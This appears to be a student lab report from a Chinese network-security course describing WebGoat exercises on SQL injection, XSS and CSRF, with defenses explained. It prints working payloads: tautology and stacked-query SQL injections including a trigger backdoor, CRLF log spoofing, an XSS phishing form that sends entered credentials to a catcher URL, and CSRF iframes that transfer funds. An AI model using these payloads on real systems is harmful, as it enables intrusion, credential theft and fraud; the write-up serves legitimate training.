zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165304 Exp 9 Web安全基础

    实验问题回答

    SQL注入攻击原理,如何防御
    原理:恶意用户在提交查询请求的过程中将SQL语句插入到请求内容中,同时程序本身对未对插入的SQL语句进行过滤,导致SQL语句直接被服务端执行。
    防御:
    限制查询长度
    限制查询类型(权限)
    过滤非法字符
    正则表达式过滤传入参数
    预编译语句集PreparedStatement
    XSS攻击的原理,如何防御
    原理:XSS是代码注入的一种,它允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。主要目的是想办法获取目标攻击网站的cookie,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。
    防御:
    对输入和URL参数进行过滤
    在输出数据之前对潜在的威胁的字符进行编码、转义
    CSRF攻击原理,如何防御
    原理:跨站请求伪造,通过伪装来自受信任用户的请求来利用web server
    防御:
    验证请求中的Token
    验证 Referer
    添加加随机验证
    设定cookie域

    实验过程

    SQL攻击

    1、String SQL Injection
    根据题目要求输入:Smith,可以看到查询的相关信息,语句为SELECT * FROM user_data WHERE last_name = 'Smith'

    为了看到所有的用户,注入一个永真式'or 1='1,攻击成功

    2、Database Backdoors
    题目使用string SQL注入来执行多个语句
    首先验证一下语句,在user ID输入101; update employee set salary=5000,可以看到更新的数据

    进行注入101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHEREuserid = NEW.userid创建后门

    3、Numeric SQL Injection
    通过注入字符串查看所有的天气,在任意一个option值的后面j加入一个永真式1=1
    对源码进行修改(firebug在升级后整合了,所以可以直接在开发者工具中开打开控制台进行l调试就可以了参考链接)

    攻击成功

    4、LAB:SQL Injection
    stage1跟上一个原理相似,在密码栏中输入or 1=1 --进行SQL注入
    失败,查看源码发现是对输入长度进行了限制,修改源码再次注入,成功
    stage3的话浏览员工信息需要点击ViewProfile,在网页代码中分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,通过Larry来浏览Neville账户信息的话,就要重新order一下,修改value值为101 or 1=1 order by salary desc --

    查看到该账户

    5、Log Spoofing
    利用换行符伪造一个假的日志信息,登陆欺骗。使得用户名为“admin”的用户,在日志中显示“成功登录”
    在User Name文本框中输入cz%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行。
    成功登陆

    XSS攻击

    1、Phishing with XSS
    在搜索框中直接输入要进行xss的攻击代码。参考编写,添加一个form可以让用户输入用户名和密码,再使这些信息能够发送给网站并显示

    </form>
    <script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
    <H2>This feature requires account login:</H2>
    <br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    

    点击search,出现表单,输入信息,点击登录,弹出捕获信息,攻击成功

    2、Stored XSS Attacks
    创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
    命名title(随意),在message里输入一串js代码:
    点击刚刚创建的帖子,弹出窗口

    3、Reflected XSS Attacks
    输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示。如果输入一个攻击URL就会返回该信息。
    输入,提交

    CRSF攻击

    1、Cross Site Request Forgery(CSRF)
    写一个URL放进Message框,使其他用户不可见,设置成一个隐藏图片,用户一旦点击就会触发一个CSRF事件
    在Message里输入
    点击该消息,页面就会下载这个消息并显示,就会执行转走用户的存款

    2、CSRF Prompt By-Pass
    查看页面下侧Parameters中的src和menu值,命名title,message框中输入代码:

    <iframe src="attack?Screen=[scr]menu=[menu]&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=[scr]&menu=[menu]&transferFunds=CONFIRM"> </iframe>
    

    心得体会

    本次实验内容都是在Webgoat平台上进行,配置环境并没有花费太长的时间,整体来说,本次实验很顺利的完成了。Webgoat的中文手册对每一个小实验的原理都介绍得非常清楚,便于理解每个题目的要求。在实验的过程中,先理解原理,再根据要求进行实验,做到融会贯通,做好学懂!

  • 相关阅读:
    关于 下载 nfs-utils时的 gssproxy conflicts with selinux-policy-3.13.1-102.el7.noarch 错误
    SCP命令
    DHCP服务
    NFS服务
    ssh免密登录
    可见性判断
    (八)图像处理
    (八)图像处理
    (八)Grahpics之Blit
    (七)时间动画_Time
  • 原文地址:https://www.cnblogs.com/zl1998827/p/10927076.html
Copyright © 2011-2022 走看看